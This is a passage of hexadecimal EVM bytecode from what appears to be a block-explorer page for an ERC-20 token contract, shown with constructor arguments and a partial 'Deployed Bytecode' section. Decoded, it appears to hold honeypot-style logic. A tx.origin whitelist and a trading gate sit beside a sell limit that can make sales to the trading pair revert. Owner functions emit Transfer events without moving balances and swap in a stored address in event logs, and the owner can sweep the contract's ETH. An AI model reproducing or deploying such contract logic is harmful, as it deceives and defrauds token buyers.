5b505050506040513d601f19601f820116820180604052508101906112fd91906133a3565b9250611374565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561134d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061137191906133a3565b92505b5f3090505f808273ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16106113b45782866113b7565b85835b915091505f8473ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611405573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142991906133a3565b90505f8173ffffffffffffffffffffffffffffffffffffffff1663e6a4390585856040518363ffffffff1660e01b81526004016114679291906133ce565b602060405180830381865afa158015611482573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114a691906133a3565b9050809850505050505050505090565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600980546114ed90613088565b80601f016020809104026020016040519081016040528092919081815260200182805461151990613088565b80156115645780601f1061153b57610100808354040283529160200191611564565b820191905f5260205f20905b81548152906001019060200180831161154757829003601f168201915b5050505050905090565b6013602052805f5260405f205f915054906101000a900460ff1681565b600181565b6115986119fb565b5f5b825181101561163c578281815181106115b6576115b56130b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff166115dc6114b6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116219190612970565b60405180910390a38080611634906130e5565b91505061159a565b505050565b5f8061164b611a82565b9050611658818585611b2d565b600191505092915050565b61166b6119fb565b8160115f8381526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600c5481565b61a4b181565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6117546119fb565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611797573d5f803e3d5ffd5b50565b6117a26119fb565b8060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b6012602052805f5260405f205f915090505481565b61210581565b61181d6119fb565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361188d575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016118849190612cf4565b60405180910390fd5b61189681611c1d565b50565b5f805f6118a46119fb565b5f3490505f6118b161104a565b90505f8060115f8481526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a8303611970576118fc818d86611ce0565b8073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa158015611945573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061196991906133a3565b91506119eb565b61197b818d86611d92565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119e891906133a3565b91505b5050505096509650969350505050565b611a03611a82565b73ffffffffffffffffffffffffffffffffffffffff16611a216114b6565b73ffffffffffffffffffffffffffffffffffffffff1614611a8057611a44611a82565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401611a779190612cf4565b60405180910390fd5b565b5f33905090565b611a968383836001611e44565b505050565b5f611aa684846116ca565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611b275781811015611b18578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401611b0f939291906133f5565b60405180910390fd5b611b2684848484035f611e44565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b9d575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401611b949190612cf4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c0d575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401611c049190612cf4565b60405180910390fd5b611c18838383612013565b505050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f69d3c21bcecceda100000043611cf79190612f49565b9050611d04308585611a89565b8373ffffffffffffffffffffffffffffffffffffffff1663f91b3f728330865f8033886040518863ffffffff1660e01b8152600401611d4896959493929190612fbe565b60606040518083038185885af1158015611d64573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611d89919061342a565b50505050505050565b5f69d3c21bcecceda100000043611da99190612f49565b9050611db6308585611a89565b8373ffffffffffffffffffffffffffffffffffffffff1663f305d7198330865f8033886040518863ffffffff1660e01b8152600401611dfa96959493929190612fbe565b60606040518083038185885af1158015611e16573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611e3b919061342a565b50505050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611eb4575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611eab9190612cf4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f24575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401611f1b9190612cf4565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561200d578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516120049190612970565b60405180910390a35b50505050565b60135f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156120725761206d8383836122a2565b61229d565b600f5f9054906101000a900460ff166120c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b7906134c4565b60405180910390fd5b5f6120c9611246565b90505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361210f576121098484846122a2565b5061229d565b8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121935750600d548260125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121919190612f49565b115b156121b2576121a18461267b565b6121ac8484846122a2565b5061229d565b8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122375750600d548260125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122349190612f49565b11155b15612290578160125f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546122889190612f49565b925050819055505b61229b8484846122a2565b505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122f2578060025f8282546122e69190612f49565b925050819055506123c0565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561237b578381836040517fe450d38c000000000000000000000000000000000000000000000000000000008152600401612372939291906133f5565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612407578060025f8282540392505081905550612451565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036125305760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125239190612970565b60405180910390a3612676565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361260f578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126029190612970565b60405180910390a3612675565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161266c9190612970565b60405180910390a35b5b505050565b5f61268582611150565b11156126bb57600f5f9054906101000a900460ff166126ae576126a96014546126be565b6126ba565b6126b96015546126be565b5b5b50565b803a11156126ca575f80fd5b50565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612707826126de565b9050919050565b612717816126fd565b8114612721575f80fd5b50565b5f813590506127328161270e565b92915050565b5f819050919050565b61274a81612738565b8114612754575f80fd5b50565b5f8135905061276581612741565b92915050565b5f805f805f8060c08789031215612785576127846126d6565b5b5f61279289828a01612724565b96505060206127a389828a01612757565b95505060406127b489828a01612757565b94505060606127c589828a01612757565b93505060806127d689828a01612724565b92505060a06127e789828a01612757565b9150509295509295509295565b6127fd81612738565b82525050565b5f6040820190506128165f8301856127f4565b61282360208301846127f4565b9392505050565b5f6020828403121561283f5761283e6126d6565b5b5f61284c84828501612724565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561288c578082015181840152602081019050612871565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6128b182612855565b6128bb818561285f565b93506128cb81856020860161286f565b6128d481612897565b840191505092915050565b5f6020820190508181035f8301526128f781846128a7565b905092915050565b5f8060408385031215612915576129146126d6565b5b5f61292285828601612724565b925050602061293385828601612757565b9150509250929050565b5f8115159050919050565b6129518161293d565b82525050565b5f60208201905061296a5f830184612948565b92915050565b5f6020820190506129835f8301846127f4565b92915050565b5f805f606084860312156129a05761299f6126d6565b5b5f6129ad86828701612724565b93505060206129be86828701612724565b92505060406129cf86828701612757565b9150509250925092565b5f60ff82169050919050565b6129ee816129d9565b82525050565b5f602082019050612a075f8301846129e5565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612a4782612897565b810181811067ffffffffffffffff82111715612a6657612a65612a11565b5b80604052505050565b5f612a786126cd565b9050612a848282612a3e565b919050565b5f67ffffffffffffffff821115612aa357612aa2612a11565b5b602082029050602081019050919050565b5f80fd5b5f612aca612ac584612a89565b612a6f565b90508083825260208201905060208402830185811115612aed57612aec612ab4565b5b835b81811015612b165780612b028882612724565b845260208401935050602081019050612aef565b5050509392505050565b5f82601f830112612b3457612b33612a0d565b5b8135612b44848260208601612ab8565b91505092915050565b5f60208284031215612b6257612b616126d6565b5b5f82013567ffffffffffffffff811115612b7f57612b7e6126da565b5b612b8b84828501612b20565b91505092915050565b5f80fd5b5f67ffffffffffffffff821115612bb257612bb1612a11565b5b612bbb82612897565b9050602081019050919050565b828183375f83830152505050565b5f612be8612be384612b98565b612a6f565b905082815260208101848484011115612c0457612c03612b94565b5b612c0f848285612bc8565b509392505050565b5f82601f830112612c2b57612c2a612a0d565b5b8135612c3b848260208601612bd6565b91505092915050565b5f8060408385031215612c5a57612c596126d6565b5b5f83013567ffffffffffffffff811115612c7757612c766126da565b5b612c8385828601612c17565b925050602083013567ffffffffffffffff811115612ca457612ca36126da565b5b612cb085828601612c17565b9150509250929050565b5f60208284031215612ccf57612cce6126d6565b5b5f612cdc84828501612757565b91505092915050565b612cee816126fd565b82525050565b5f602082019050612d075f830184612ce5565b92915050565b5f8060408385031215612d2357612d226126d6565b5b5f83013567ffffffffffffffff811115612d4057612d3f6126da565b5b612d4c85828601612b20565b9250506020612d5d85828601612757565b9150509250929050565b5f8060408385031215612d7d57612d7c6126d6565b5b5f612d8a85828601612724565b9250506020612d9b85828601612724565b9150509250929050565b612dae8161293d565b8114612db8575f80fd5b50565b5f81359050612dc981612da5565b92915050565b5f8060408385031215612de557612de46126d6565b5b5f612df285828601612724565b9250506020612e0385828601612dbb565b9150509250929050565b5f606082019050612e205f8301866127f4565b612e2d60208301856127f4565b612e3a60408301846127f4565b949350505050565b5f81519050612e5081612741565b92915050565b5f60208284031215612e6b57612e6a6126d6565b5b5f612e7884828501612e42565b91505092915050565b5f606082019050612e945f830186612ce5565b612ea16020830185612ce5565b612eae60408301846127f4565b949350505050565b5f81519050612ec481612da5565b92915050565b5f60208284031215612edf57612ede6126d6565b5b5f612eec84828501612eb6565b91505092915050565b5f604082019050612f085f830185612ce5565b612f1560208301846127f4565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612f5382612738565b9150612f5e83612738565b9250828201905080821115612f7657612f75612f1c565b5b92915050565b5f819050919050565b5f819050919050565b5f612fa8612fa3612f9e84612f7c565b612f85565b612738565b9050919050565b612fb881612f8e565b82525050565b5f60c082019050612fd15f830189612ce5565b612fde60208301886127f4565b612feb6040830187612faf565b612ff86060830186612faf565b6130056080830185612ce5565b61301260a08301846127f4565b979650505050505050565b5f8060408385031215613033576130326126d6565b5b5f61304085828601612e42565b925050602061305185828601612e42565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061309f57607f821691505b6020821081036130b2576130b161305b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6130ef82612738565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361312157613120612f1c565b5b600182019050919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026131887fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261314d565b613192868361314d565b95508019841693508086168417925050509392505050565b5f6131c46131bf6131ba84612738565b612f85565b612738565b9050919050565b5f819050919050565b6131dd836131aa565b6131f16131e9826131cb565b848454613159565b825550505050565b5f90565b6132056131f9565b6132108184846131d4565b505050565b5b81811015613233576132285f826131fd565b600181019050613216565b5050565b601f821115613278576132498161312c565b6132528461313e565b81016020851015613261578190505b61327561326d8561313e565b830182613215565b50505b505050565b5f82821c905092915050565b5f6132985f198460080261327d565b1980831691505092915050565b5f6132b08383613289565b9150826002028217905092915050565b6132c982612855565b67ffffffffffffffff8111156132e2576132e1612a11565b5b6132ec8254613088565b6132f7828285613237565b5f60209050601f831160018114613328575f8415613316578287015190505b61332085826132a5565b865550613387565b601f1984166133368661312c565b5f5b8281101561335d57848901518255600182019150602085019450602081019050613338565b8683101561337a5784890151613376601f891682613289565b8355505b6001600288020188555050505b505050505050565b5f8151905061339d8161270e565b92915050565b5f602082840312156133b8576133b76126d6565b5b5f6133c58482850161338f565b91505092915050565b5f6040820190506133e15f830185612ce5565b6133ee6020830184612ce5565b9392505050565b5f6060820190506134085f830186612ce5565b61341560208301856127f4565b61342260408301846127f4565b949350505050565b5f805f60608486031215613441576134406126d6565b5b5f61344e86828701612e42565b935050602061345f86828701612e42565b925050604061347086828701612e42565b9150509250925092565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f6134ae601d8361285f565b91506134b98261347a565b602082019050919050565b5f6020820190508181035f8301526134db816134a2565b905091905056fea2646970667358221220beac582bba54abb1f06c5c2ad7026253aa795e6c7f25fe006af17b15b0905eda64736f6c63430008140033000000000000000000000000000000000000000000f8277896582678ac000000000000000000000000000000000000000000000000f8277896582678ac000000000000000000000000000000b59a5c6fcde126689a962316bfe47b19434ac03b00000000000000000000000000000000000000000000000000000000000000c80000000000000000000000000000000000000000000000000000000000000001

Deployed Bytecode

0x608060405260043610610266575f3560e01c80636c02a93111610143578063a9059cbb116100b5578063e086e5ec11610079578063e086e5ec14610915578063e0e2b08b1461092b578063e1ad418e14610953578063efc21e3f1461098f578063f2fde38b146109b9578063f305d719146109e157610266565b8063a9059cbb14610821578063b95999cd1461085d578063cc1776d314610885578063cc2b7858146108af578063dd62ed3e146108d957610266565b80638d5f81e2116101075780638d5f81e2146107155780638da5cb5b1461073f57806395d89b41146107695780639b19251a146107935780639f5fa028146107cf578063a11223da146107f957610266565b80636c02a9311461064757806370a0823114610671578063715018a6146106ad5780637b61c320146106c35780638b339069146106ed57610266565b80633811ac02116101dc5780635408d42d116101a05780635408d42d1461054d578063564b81ef1461057757806357e871e7146105a1578063593ed58c146105cb578063594ef0d9146106075780636b05abd61461063157610266565b80633811ac021461047f5780633c9f5ed6146104a75780633de4b85c146104d15780634c97f472146104fb5780634f7041a51461052357610266565b806315aac2271161022e57806315aac2271461035f57806318160ddd146103895780631e9d48cf146103b357806323b872dd146103ef5780632711b8a51461042b578063313ce5671461045557610266565b806302751cec1461026a578063068acf6c146102a757806306fdde03146102cf578063095ea7b3146102f95780631189478014610335575b5f80fd5b348015610275575f80fd5b50610290600480360381019061028b919061276b565b610a13565b60405161029e929190612803565b60405180910390f35b3480156102b2575f80fd5b506102cd60048036038101906102c8919061282a565b610d2c565b005b3480156102da575f80fd5b506102e3610e2f565b6040516102f091906128df565b60405180910390f35b348015610304575f80fd5b5061031f600480360381019061031a91906128ff565b610ebf565b60405161032c9190612957565b60405180910390f35b348015610340575f80fd5b50610349610ee1565b6040516103569190612970565b60405180910390f35b34801561036a575f80fd5b50610373610ee8565b6040516103809190612970565b60405180910390f35b348015610394575f80fd5b5061039d610eee565b6040516103aa9190612970565b60405180910390f35b3480156103be575f80fd5b506103d960048036038101906103d4919061282a565b610ef7565b6040516103e69190612957565b60405180910390f35b3480156103fa575f80fd5b5061041560048036038101906104109190612989565b610f14565b6040516104229190612957565b60405180910390f35b348015610436575f80fd5b5061043f610f42565b60405161044c9190612970565b60405180910390f35b348015610460575f80fd5b50610469610f4a565b60405161047691906129f4565b60405180910390f35b34801561048a575f80fd5b506104a560048036038101906104a09190612b4d565b610f52565b005b3480156104b2575f80fd5b506104bb610feb565b6040516104c89190612957565b60405180910390f35b3480156104dc575f80fd5b506104e5611000565b6040516104f29190612970565b60405180910390f35b348015610506575f80fd5b50610521600480360381019061051c9190612c44565b611006565b005b34801561052e575f80fd5b50610537611032565b6040516105449190612970565b60405180910390f35b348015610558575f80fd5b50610561611038565b60405161056e9190612957565b60405180910390f35b348015610582575f80fd5b5061058b61104a565b6040516105989190612970565b60405180910390f35b3480156105ac575f80fd5b506105b5611056565b6040516105c29190612970565b60405180910390f35b3480156105d6575f80fd5b506105f160048036038101906105ec9190612cba565b61105c565b6040516105fe9190612cf4565b60405180910390f35b348015610612575f80fd5b5061061b61108c565b6040516106289190612970565b60405180910390f35b34801561063c575f80fd5b50610645611092565b005b348015610652575f80fd5b5061065b6110c4565b60405161066891906128df565b60405180910390f35b34801561067c575f80fd5b506106976004803603810190610692919061282a565b611150565b6040516106a49190612970565b60405180910390f35b3480156106b8575f80fd5b506106c1611195565b005b3480156106ce575f80fd5b506106d76111a8565b6040516106e491906128df565b60405180910390f35b3480156106f8575f80fd5b50610713600480360381019061070e9190612cba565b611234565b005b348015610720575f80fd5b50610729611246565b6040516107369190612cf4565b60405180910390f35b34801561074a575f80fd5b506107536114b6565b6040516107609190612cf4565b60405180910390f35b348015610774575f80fd5b5061077d6114de565b60405161078a91906128df565b60405180910390f35b34801561079e575f80fd5b506107b960048036038101906107b4919061282a565b61156e565b6040516107c69190612957565b60405180910390f35b3480156107da575f80fd5b506107e361158b565b6040516107f09190612970565b60405180910390f35b348015610804575f80fd5b5061081f600480360381019061081a9190612d0d565b611590565b005b34801561082c575f80fd5b50610847600480360381019061084291906128ff565b611641565b6040516108549190612957565b60405180910390f35b348015610868575f80fd5b50610883600480360381019061087e91906128ff565b611663565b005b348015610890575f80fd5b506108996116be565b6040516108a69190612970565b60405180910390f35b3480156108ba575f80fd5b506108c36116c4565b6040516108d09190612970565b60405180910390f35b3480156108e4575f80fd5b506108ff60048036038101906108fa9190612d67565b6116ca565b60405161090c9190612970565b60405180910390f35b348015610920575f80fd5b5061092961174c565b005b348015610936575f80fd5b50610951600480360381019061094c9190612dcf565b61179a565b005b34801561095e575f80fd5b506109796004803603810190610974919061282a565b6117fa565b6040516109869190612970565b60405180910390f35b34801561099a575f80fd5b506109a361180f565b6040516109b09190612970565b60405180910390f35b3480156109c4575f80fd5b506109df60048036038101906109da919061282a565b611815565b005b6109fb60048036038101906109f6919061276b565b611899565b604051610a0a93929190612e0d565b60405180910390f35b5f80610a1d6119fb565b5f610a26611246565b90505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401610a629190612cf4565b602060405180830381865afa158015610a7d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aa19190612e56565b90508173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401610ae093929190612e81565b6020604051808303815f875af1158015610afc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b209190612eca565b505f610b2a61104a565b90505f60115f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508373ffffffffffffffffffffffffffffffffffffffff1663095ea7b382856040518363ffffffff1660e01b8152600401610b9b929190612ef5565b6020604051808303815f875af1158015610bb7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bdb9190612eca565b5061a86a8203610c83578073ffffffffffffffffffffffffffffffffffffffff166333c6b72530855f803369d3c21bcecceda0ffffff43610c1c9190612f49565b6040518763ffffffff1660e01b8152600401610c3d96959493929190612fbe565b60408051808303815f875af1158015610c58573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c7c919061301d565b5050610d1d565b8073ffffffffffffffffffffffffffffffffffffffff166302751cec30855f803369d3c21bcecceda0ffffff43610cba9190612f49565b6040518763ffffffff1660e01b8152600401610cdb96959493929190612fbe565b60408051808303815f875af1158015610cf6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d1a919061301d565b50505b50505050965096945050505050565b610d346119fb565b5f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d6e9190612cf4565b602060405180830381865afa158015610d89573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dad9190612e56565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610dea929190612ef5565b6020604051808303815f875af1158015610e06573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e2a9190612eca565b505050565b606060088054610e3e90613088565b80601f0160208091040260200160405190810160405280929190818152602001828054610e6a90613088565b8015610eb55780601f10610e8c57610100808354040283529160200191610eb5565b820191905f5260205f20905b815481529060010190602001808311610e9857829003601f168201915b5050505050905090565b5f80610ec9611a82565b9050610ed6818585611a89565b600191505092915050565b62013e3181565b600e5481565b5f600254905090565b6010602052805f5260405f205f915054906101000a900460ff1681565b5f80610f1e611a82565b9050610f2b858285611a9b565b610f36858585611b2d565b60019150509392505050565b5f6039905090565b5f6012905090565b610f5a6119fb565b5f5b8151811015610fe757600160135f848481518110610f7d57610f7c6130b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610fdf906130e5565b915050610f5c565b5050565b5f600f5f9054906101000a900460ff16905090565b61a86a81565b61100e6119fb565b816008908161101d91906132c0565b50806009908161102d91906132c0565b505050565b600b5481565b600f5f9054906101000a900460ff1681565b5f804690508091505090565b600a5481565b6011602052805f5260405f205f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b61109a6119fb565b600f5f9054906101000a900460ff1615600f5f6101000a81548160ff021916908315150217905550565b600880546110d190613088565b80601f01602080910402602001604051908101604052809291908181526020018280546110fd90613088565b80156111485780601f1061111f57610100808354040283529160200191611148565b820191905f5260205f20905b81548152906001019060200180831161112b57829003601f168201915b505050505081565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61119d6119fb565b6111a65f611c1d565b565b600980546111b590613088565b80601f01602080910402602001604051908101604052809291908181526020018280546111e190613088565b801561122c5780601f106112035761010080835404028352916020019161122c565b820191905f5260205f20905b81548152906001019060200180831161120f57829003601f168201915b505050505081565b61123c6119fb565b80600d8190555050565b5f805f61125161104a565b90505f60115f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a8203611304578073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112fd91906133a3565b9250611374565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561134d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061137191906133a3565b92505b5f3090505f808273ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16106113b45782866113b7565b85835b915091505f8473ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611405573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142991906133a3565b90505f8173ffffffffffffffffffffffffffffffffffffffff1663e6a4390585856040518363ffffffff1660e01b81526004016114679291906133ce565b602060405180830381865afa158015611482573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114a691906133a3565b9050809850505050505050505090565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600980546114ed90613088565b80601f016020809104026020016040519081016040528092919081815260200182805461151990613088565b80156115645780601f1061153b57610100808354040283529160200191611564565b820191905f5260205f20905b81548152906001019060200180831161154757829003601f168201915b5050505050905090565b6013602052805f5260405f205f915054906101000a900460ff1681565b600181565b6115986119fb565b5f5b825181101561163c578281815181106115b6576115b56130b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff166115dc6114b6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116219190612970565b60405180910390a38080611634906130e5565b91505061159a565b505050565b5f8061164b611a82565b9050611658818585611b2d565b600191505092915050565b61166b6119fb565b8160115f8381526020019081526020015f205f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600c5481565b61a4b181565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6117546119fb565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611797573d5f803e3d5ffd5b50565b6117a26119fb565b8060105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b6012602052805f5260405f205f915090505481565b61210581565b61181d6119fb565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361188d575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016118849190612cf4565b60405180910390fd5b61189681611c1d565b50565b5f805f6118a46119fb565b5f3490505f6118b161104a565b90505f8060115f8481526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061a86a8303611970576118fc818d86611ce0565b8073ffffffffffffffffffffffffffffffffffffffff166373b295c26040518163ffffffff1660e01b8152600401602060405180830381865afa158015611945573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061196991906133a3565b91506119eb565b61197b818d86611d92565b8073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119e891906133a3565b91505b5050505096509650969350505050565b611a03611a82565b73ffffffffffffffffffffffffffffffffffffffff16611a216114b6565b73ffffffffffffffffffffffffffffffffffffffff1614611a8057611a44611a82565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401611a779190612cf4565b60405180910390fd5b565b5f33905090565b611a968383836001611e44565b505050565b5f611aa684846116ca565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611b275781811015611b18578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401611b0f939291906133f5565b60405180910390fd5b611b2684848484035f611e44565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b9d575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000